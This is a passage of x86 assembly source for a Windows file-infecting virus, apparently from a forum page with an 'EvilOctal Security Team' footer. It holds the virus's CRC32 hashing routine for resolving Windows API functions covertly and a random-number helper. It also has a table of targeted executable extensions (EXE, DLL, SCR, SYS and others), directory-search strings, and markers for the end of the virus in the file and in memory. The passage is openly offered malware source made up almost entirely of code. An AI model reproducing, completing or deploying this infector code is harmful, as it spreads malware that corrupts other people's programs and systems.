   add ebp, [edx+eax*4]      ;get API function address
   xchg eax, ebp        ;we got address of API in EAX
   jmp ok_gpa        ;quit

CRC32:   push ecx        ;procedure to calculate   CRC32
   push edx
   push ebx
      xor ecx, ecx
      dec ecx
      mov edx, ecx
NextByteCRC:
      xor eax, eax
      xor ebx, ebx
      lodsb
      xor al, cl
   mov cl, ch
   mov ch, dl
   mov dl, dh
   mov dh, 8
NextBitCRC:
   shr bx, 1
   rcr ax, 1
   jnc NoCRC
   xor ax, 08320h
   xor bx, 0EDB8h
NoCRC:  dec dh
   jnz NextBitCRC
   xor ecx, eax
   xor edx, ebx
      dec edi
   jne NextByteCRC
   not edx
   not ecx
   pop ebx
   mov eax, edx
   rol eax, 16
   mov ax, cx
   pop edx
   pop ecx
   ret

get_random:
   pushad              ;store all registers
   call [ebp + a_GetTickCount - gdelta]   ;get random number
   and eax, 2           ;1:2 possibility
   test eax, eax           ;is it ZERO?
   popad              ;restore all registers
   ret

;API&#39;s CRC32&#39;s
crc32s      dd   0AE17EBEFh      ;FindFirstFileA
      dd   0AA700106h      ;FindNextFileA
      dd   0C200BE21h      ;FindClose
      dd   03C19E536h      ;SetFileAttributesA
      dd   04B2A3E7Dh      ;SetFileTime
      dd   08C892DDFh      ;CreateFileA
      dd   096B2D96Ch      ;CreateFileMappingA
      dd   0797B49ECh      ;MapViewOfFile
      dd   094524B42h      ;UnmapViewOfFile
      dd   068624A9Dh      ;CloseHandle
      dd   0613FD7BAh      ;GetTickCount
      dd   042F13D06h      ;GetVersion
      dd   0EBC6C18Bh      ;GetCurrentDirectoryA
      dd   0B2DBD7DCh      ;SetCurrentDirectoryA
      dd   04134D1ADh      ;LoadLibraryA
      dd   0FFC97C1Fh      ;GetProcAddress
      dd   0AFDF191Fh      ;FreeLibrary
crc32c = ($-crc32s)/4

;file extension&#39;s CRC32&#39;s
file_extension_table:
_ACM      dd   0AC705BF1h   ; .ACM extension
_AX      dd   0629337BAh   ; .AX extension
_CNV      dd   0A797CBB3h   ; .CNV extension
_COM      dd   00F636A1Eh   ; .COM extension
_CPL      dd   00102BF12h   ; .CPL extension
_DLL      dd   089E9DDBFh   ; .DLL extension
_DRV      dd   02F7CA91Eh   ; .DRV extension
_EXE      dd   0FBB80A3Fh   ; .EXE extension
_MPD      dd   029044229h   ; .MPD extension
_OCX      dd   07B1ACAD6h   ; .OCX extension
_PCI      dd   020B9AE0Fh   ; .PCI extension
_SCR      dd   09B3ACA7Bh   ; .SCR extension
_SYS      dd   09390DD9Ch   ; .SYS extension
_TSP      dd   028FD3330h   ; .TSP extension
_TLB      dd   04773A7AEh   ; .TLB extension
_VWP      dd   085FD5367h   ; .VWP extension
_WPC      dd   059E16315h   ; .WPC extension
file_extension_table_end:

szCurDir   db    &#39;&#39;,00h      ; Null-terminated string that
szCurDir_   db    &#39;..&#39;,00h      ; Null-terminated string that
                           ; specifies the path to the new
                           ; current directory
szFileName   db    &#39;*.*&#39;,00h     ; Name of file to search for
end_virus:           ; end of virus in file

a_apis:              ;API addresses
a_FindFirstFileA   dd   ?
a_FindNextFileA      dd   ?
a_FindClose      dd   ?
a_SetFileAttributesA   dd   ?
a_SetFileTime      dd   ?
a_CreateFileA      dd   ?
a_CreateFileMappingA   dd   ?
a_MapViewOfFile      dd   ?
a_UnmapViewOfFile   dd   ?
a_CloseHandle      dd   ?
a_GetTickCount      dd   ?
a_GetVersion      dd   ?
a_GetCurrentDirectoryA   dd   ?
a_SetCurrentDirectoryA   dd   ?
a_LoadLibraryA      dd   ?
a_GetProcAddress   dd   ?
a_FreeLibrary      dd   ?


cBuffer        db    MAX_PATH dup(?) ; Buffer for the current
                              ; directory string.
cBuffer_      db    MAX_PATH dup(?) ; Buffer for the current
                              ; directory string.
WFD      WIN32_FIND_DATA   ?      ; WIN32_FIND_DATA
virtual_end:              ; end of virus in memory
exit_process      dd   offset ExitProcess   ;used by first gen. only


ends              ;end of .code section
end Start           ;end of virus

页: [1]
© 1999-2008 EvilOctal Security Team